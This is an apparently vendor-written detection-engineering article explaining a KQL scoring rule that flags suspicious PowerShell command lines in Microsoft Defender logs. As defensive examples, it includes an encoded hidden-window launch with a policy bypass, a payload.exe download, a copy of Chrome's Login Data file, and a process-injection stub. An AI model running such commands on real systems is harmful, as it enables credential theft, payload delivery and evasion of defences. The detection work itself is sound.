Detecting Suspicious PowerShell Command Execution Using Behavioral Scoring

PowerShell remains one of the most heavily abused legitimate tools in Windows environments. While administrators use it daily for automation, troubleshooting, configuration management, and scripting, attackers use the same capabilities to:

• execute commands directly in memory
• download payloads
• bypass execution restrictions
• stage malware
• perform discovery
• tamper with security controls

Traditional detections often rely on static indicators such as:

• suspicious keywords
• hashes
• known malware names

The problem is that modern PowerShell abuse rarely looks simple. Attackers increasingly rely on:

• encoded commands
• string manipulation
• obfuscation
• Living-off-the-Land binaries
• dynamic execution chains

To address this challenge, this detection uses a behavioral scoring approach instead of relying on a single indicator. The rule evaluates suspicious command-line behaviors, assigns weighted scores, and identifies execution patterns commonly associated with malicious or high-risk PowerShell activity.

Detecting: powershell.exe, alone is meaningless.

Even detecting: -EncodedCommand, by itself can generate excessive false positives.

The real value comes from identifying combinations of suspicious behaviors.

For example:

• encoded execution
• hidden windows
• remote downloads
• execution policy bypass
• Defender tampering
• LOLBin execution
• discovery commands

appearing together in the same command chain create much stronger indicators of malicious activity.

This detection focuses on behavioral context rather than isolated indicators.

This rule uses a scoring-based approach.

The detection does the following:

1. Reviews recent process execution events from DeviceProcessEvents.
2. Focuses on PowerShell, command-line, scripting, and Windows process execution chains.
3. Extracts the full command line from ProcessCommandLine.
4. Attempts to extract and decode Base64-encoded PowerShell commands.
5. Scores both:
   • The raw command line
   • The decoded command line
6. Generates a result when either score is greater than or equal to 10.

This approach helps detect suspicious activity even when the attacker tries to hide the real command using encoding or obfuscation.

Scoring Function Overview

The detection uses a scoring-based approach to identify suspicious PowerShell activity commonly associated with:

• • obfuscation
  • payload staging
  • defense evasion
  • discovery activity
  • persistence
  • process injection
  • credential targeting

The ScoreIndicators function analyzes PowerShell command lines and assigns scores based on suspicious behaviors. Each matched indicator increases the overall score. The higher the score, the higher the likelihood that the execution requires investigation.

Encoding and Obfuscation Detection

• KQL Logic

  + iif(cmd has_any ("-en", "-enc", "-enco", "-encod", "-encode", "-encoded", "-encodedc", "-encodedco", "-encodedcom", "-encodedcomm", "-encodedcomma", "-encodedcomman", "-encodedcommand"), 3, 0)
  
  + iif(cmd matches regex @"[A-Za-z0-9+/=]{100,}", 2, 0)
  
  + iif(cmd has "0x", 1, 0)
  
  + iif(cmd has_any ("[char]", "chr("), 2, 0)
  
  + iif(cmd matches regex @"('.*'\s*\+\s*){4,}", 2, 0)
  
  

• What This Detects
  The rule looks for indicators commonly associated with hidden or obfuscated PowerShell execution, including:
  • encoded PowerShell commands
  • long Base64 strings
  • hexadecimal values
  • character conversion
  • fragmented string construction
• Why This Matters
  Attackers frequently hide malicious payloads using:
  • Base64 encoding
  • split strings
  • dynamically reconstructed commands
  • character conversionThese techniques help bypass simple keyword-based detections and make commands harder to analyze manually.
• Example Suspicious Command

  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgApAA==

Evasion and Stealth Execution

• KQL Logic

  + iif(cmd has_any ("-nop", "-noni", "-w h", "-noprofile", "-windowstyle hidden"), 1, 0)
  
  + iif(cmd has_any ("bypass", "ExecutionPolicy", "Unrestricted"), 2, 0)
  
  + iif(cmd has_any ("amsiutils", "amsiInitFailed", "amsi"), 2, 0)
  
  + iif(cmd has "& {", 1, 0)
  
  

• What This Detects
  The rule identifies:
  • hidden PowerShell execution
  • non-interactive execution
  • execution policy bypasses
  • AMSI references
  • script block execution

• Why This Matters
  These execution patterns are commonly observed in:
  • phishing payloads
  • malware loaders
  • post-exploitation frameworks
  • stealthy execution chains
    Attackers frequently attempt to reduce visibility or bypass security controls before executing malicious code.
• Example Suspicious Command

  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass
  

Variable and Obfuscation Patterns

• • KQL Logic

    + iif(cmd contains "&$" or cmd matches regex @"\$[a-zA-Z0-9]+\s*=", 2, 0)
    
    + iif(cmd matches regex @"\$[a-zA-Z]{2}", 1, 0)
    
    + iif(cmd matches regex @"(\$[a-zA-Z]{2}\s*=){3,}", 2, 0)
    
    + iif(cmd matches regex @"\$[a-zA-Z]{2}\s*=\s*'i'\s*\+\s*'ex'", 2, 0)
    
    

  • What This Detects
    The rule identifies:
    • suspicious variable execution
    • short variable names
    • repeated variable assignments
    • dynamically constructed execution commands
  • Why This Matters
    Attackers often use variables to:
    • hide execution logic
    • split suspicious commands
    • reconstruct payloads dynamically
    • avoid signature-based detection
  • Example Suspicious Command
    

    $a = "iex"
    
    &$a

     

String Manipulation and Payload Staging

• KQL Logic

  + iif(cmd has_any ("DownloadString", "DownloadFile", "WebClient", "Invoke-WebRequest", "Invoke-RestMethod"), 3, 0)
  
  + iif(cmd has_all ("New-Object", "Net.WebClient"), 2, 0)
  
  + iif(cmd contains "http" or cmd contains "https", 2, 0)
  
  + iif(cmd has_any ("Invoke-WebRequest", "DownloadFile", "Start-BitsTransfer") and cmd has_any (".bat", ".exe", ".vbs"), 2, 0)
  

• What This Detects
  The rule looks for:
  • string splitting
  • reconstruction logic
  • dynamic method invocation
  • staged command rebuilding
• Why This Matters
  String manipulation is commonly used to:
  • reconstruct hidden payloads
  • evade keyword detection
  • dynamically generate malicious commands at runtime

Execution Primitives

• KQL Logic

  + iif(cmd has_any ("iex", "Invoke-Expression", "Invoke-Command", "Add-Type"), 2, 0)
  
  + iif(cmd matches regex @"(i|I)nvo\w+\+\w+", 2, 0)
  

• What This Detects
  The rule identifies commands capable of:
  • dynamic execution
  • inline code loading
  • remote command execution
  • obfuscated Invoke-* usage

• Why This Matters
  Commands such as:
  • • Invoke-Expression
    • Invoke-Command
    • Add-Type
      are frequently abused to execute malicious or dynamically generated code.

Reflection and .NET Abuse

• KQL Logic

  + iif(cmd has_any ("GetType", "InvokeMember", "GetMethod", "BindingFlags", "Reflection"), 2, 0)
  

• What This Detects
  The rule identifies .NET reflection activity.

• Why This Matters
  Reflection can be abused to:
  • call sensitive APIs
  • dynamically load code
  • bypass security tooling
  • interact with memory directlyThis behavior is commonly associated with advanced PowerShell tradecraft.

Compression and Encoding APIs

• KQL Logic

  + iif(cmd has_any ("GzipStream", "DeflateStream", "FromBase64String", "MemoryStream", "IO.Compression"), 2, 0)
  

• What This Detects
  The rule identifies:
  • payload decompression
  • ase64 decoding
  • in-memory stream handling

• Why This Matters
  Attackers frequently:
  • compress payloads
  • encode malicious content
  • decompress payloads directly in memoryto avoid detection and reduce forensic visibility.

Suspicious File Paths and Payload Staging

• KQL Logic

  + iif(cmd matches regex @"C:\\Users\\[^\\]+\\(Desktop|Documents|Downloads|OneDrive)\\", 2, 0)
  
  + iif(cmd has_any (@"\AppData\Local\Temp\", @"\ProgramData\"), 1, 0)
  
  + iif(cmd matches regex @"\\Temp\\[a-z0-9]{6,}\.(bat|vbs)", 3, 0)
  
  + iif(cmd matches regex @"\\[a-z0-9]{8,16}\.(bat|vbs|exe)", 2, 0)
  

• What This Detects
  The rule looks for:
  • suspicious staging locations
  • randomly named payloads
  • temporary script execution
  • user directory payload placement

• Why This Matters
  Attackers commonly store payloads in:
  • • Temp folders
    • Downloads
    • AppData
    • ProgramData
      because these locations are writable and blend into normal user activity.

LOLBins and Script Engines

• KQL Logic

  + iif(cmd has_any ("msbuild.exe", "wscript.exe", "cscript.exe", "rundll32.exe", "regsvr32.exe"), 2, 0)
  
  + iif(cmd has "msbuild.exe", 3, 0)
  
  + iif(cmd has_any ("wscript.exe", "cscript.exe") and cmd has ".vbs", 2, 0)
  

• What This Detects
  The rule identifies abuse of:
  • Living-off-the-Land binaries
  • Windows script engines
  • trusted native execution tools

• Why This Matters
  Attackers abuse legitimate Windows binaries to:
  • bypass application controls
  • blend into legitimate activity
  • reduce detection visibility
• Example Suspicious Command
  

  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Users\Public\build.xml

   

Persistence Activity

• KQL Logic

  + iif(cmd has "schtasks" and cmd has_any ("/create", "/sc", "/mo"), 2, 0)
  
  + iif(cmd has "New-Item" and cmd has "Directory", 1, 0)
  

• What This Detects
  The rule identifies:
  • scheduled task creation
  • staging directory creation
  • persistence-related activity

• Why This Matters
  Scheduled tasks are commonly used to:
  • • maintain persistence
    • execute malware repeatedly
    • trigger payloads automatically

Defender Tampering and Security Discovery

• KQL Logic

  + iif(cmd has_any ("Set-ExecutionPolicy", "Add-MpPreference", "Set-MpPreference"), 3, 0)
  
  + iif(cmd has_any ("Get-MpComputerStatus", "Get-MpPreference", "MpCmdRun.exe"), 3, 0)
  
  + iif(cmd has_any ("Get-NetFirewallRule", "netsh advfirewall", "netsh firewall"), 3, 0)
  

• What This Detects
  The rule identifies:
  • Defender configuration tampering
  • security tool discovery
  • firewall enumeration
  • execution policy modification

• Why This Matters
  Attackers frequently:
  • • inspect security tooling
    • weaken protections
    • identify defensive controls
      before deploying malware or escalating activity.

Discovery Activity

• KQL Logic

  + iif(cmd has "whoami", 2, 0)
  
  + iif(cmd has_any ("hostname", "systeminfo", "net user", "net localgroup"), 2, 0)
  
  + iif(cmd has_any ("ipconfig", "Get-NetIPConfiguration", "route print"), 2, 0)
  
  + iif(cmd has_any ("Get-ADUser", "Get-ADComputer", "Get-ADGroupMember"), 3, 0)
  

• What This Detects
  The rule identifies:
  • user discovery
  • host discovery
  • network enumeration
  • Active Directory reconnaissance

• Why This Matters
  After gaining execution, attackers typically attempt to:
  • • understand the environment
    • identify privileged users
    • enumerate systems
    • locate lateral movement opportunities
• Example Suspicious Command
  

  whoami
  
  hostname
  
  ipconfig /all
  
  net user
  
  net localgroup administrators

Credential and Browser Targeting

• KQL Logic

  + iif(cmd has_any ("Login Data", "Web Data", "Cookies") and cmd has_any ("Chrome", "Edge"), 3, 0)
  

• What This Detects
  The rule identifies references to:
  • browser credential databases
  • cookies
  • stored authentication data

• Why This Matters
  Attackers increasingly target:
  • browser credentials
  • saved passwords
  • authentication cookies
  • active sessionsto hijack accounts and bypass MFA protections.
• Example Suspicious Command
  

  Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"

Process Injection Activity

• KQL Logic

  + iif(cmd has_any ("WriteProcessMemory", "VirtualAllocEx", "CreateRemoteThread", "QueueUserAPC"), 4, 0)
  

• What This Detects
  The rule identifies process injection APIs commonly associated with:
  • code injection
  • shellcode execution
  • malware loaders
  • in-memory implants

• Why This Matters
  These APIs are considered high-signal indicators because they are heavily associated with malicious execution and process manipulation activity.
• Example Suspicious Command
  

  Add-Type -MemberDefinition '[DllImport("kernel32.dll")] public static extern bool WriteProcessMemory(...)'

Additional High-Risk Indicators

• KQL Logic

  + iif(strlen(cmd) > 300, 2, 0)
  
  + iif(cmd matches regex @"-OutFile\s+[^ ]+\s+-OutFile", 2, 0)
  
  + iif(cmd matches regex @"\$[a-zA-Z]+\s*=\s*""[A-Za-z0-9+/=]{50,}""", 2, 0)
  

• What This Detects
  The rule identifies:
  • extremely long command lines
  • repeated download operations
  • encoded payload staging
  • suspicious token-like strings

• Why This Matters
  Long or heavily structured command lines are frequently associated with:
  • encoded payloads
  • obfuscated staging logic
  • malware delivery chains
  • automated attack tooling

Each result represents a process execution event where the command line contains enough suspicious indicators to meet or exceed the configured score threshold.

Analysts should review:

• ScoreRaw
• ScoreDecoded
• RawCommand
• DecodedCleanCommand
• FileName
• InitiatingProcessFileName
• Parent process chain
• User account
• Device name
• File path
• Network connections around the same time
• Any downloaded files or follow-up execution

A high score does not automatically prove malware, but it strongly indicates that the command should be reviewed.

Example 1 – Suspicious Encoded PowerShell

If the command contains:

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand <Base64>

The rule may score it because of:

• -NoProfile
• ExecutionPolicy Bypass
• EncodedCommand
• Base64 string
• Long command length

This should be treated as suspicious until decoded and validated.

Example 2 – Payload Download

If the command contains:

Invoke-WebRequest http://example.com/payload.exe -OutFile C:\Users\User\Downloads\payload.exe

The rule may score it because of:

• Invoke-WebRequest
• http
• .exe
• Downloads path
• -OutFile

This may indicate payload staging or malware delivery activity.

Example 3 – Discovery Activity

If the command contains:

whoami; hostname; ipconfig; net user; net localgroup administrators

The rule may increase the score because of:

• user discovery
• host discovery
• network discovery
• local group enumeration

This may indicate post-compromise reconnaissance activity where an attacker is attempting to understand the environment and identify privilege opportunities.

When this detection triggers, recommended actions include:

1. Review the RawCommand and DecodedCleanCommand.
2. Decode and validate any Base64 content.
3. Review the full process tree.
4. Check whether the command downloaded files from external URLs.
5. Review file creation events around the same timestamp.
6. Check network connections from the same device.
7. Review whether Defender, firewall, or execution policy settings were queried or modified.
8. Confirm whether the activity was performed by an administrator, automation tool, or end user.
9. If malicious behavior is confirmed, isolate the affected endpoint.
10. Collect related artifacts such as scripts, downloaded files, hashes, URLs, and parent process evidence.
11. Reset affected user credentials if credential theft or browser data access is suspected.
12. Search across the environment for the same command line, URL, file hash, or encoded payload.

Attackers often use PowerShell because it is already trusted, installed by default, and powerful.

This rule helps detect suspicious PowerShell behavior based on command content rather than relying only on known hashes, known malware names, or static IOCs.

The scoring method makes the detection more flexible because it can identify suspicious combinations such as:

• Encoded command + execution policy bypass
• Web download + executable staging
• String obfuscation + Invoke-Expression
• Discovery commands + suspicious process chain
• Defender checks + PowerShell execution
• Browser credential targeting + file staging

Wizard Cyber focuses on detection engineering that goes beyond static signatures, hashes, and known indicators of compromise.

We build behavioral analytics designed to identify:

• Suspicious and obfuscated PowerShell execution
• Encoded commands and execution policy bypass activity
• Living-off-the-land abuse using native Windows binaries and scripting engines
• Payload staging, in-memory execution, and web-based command delivery
• Discovery, defense evasion, and credential targeting behavior
• High-fidelity behavioral detections in Microsoft Sentinel and Microsoft Defender XDR

Our approach focuses on identifying attacker behavior patterns rather than relying only on known malware or fixed IOCs, because modern attackers do not always need custom malware to compromise an environment. Sometimes all they need is PowerShell, native Windows tools, and a few carefully chained commands.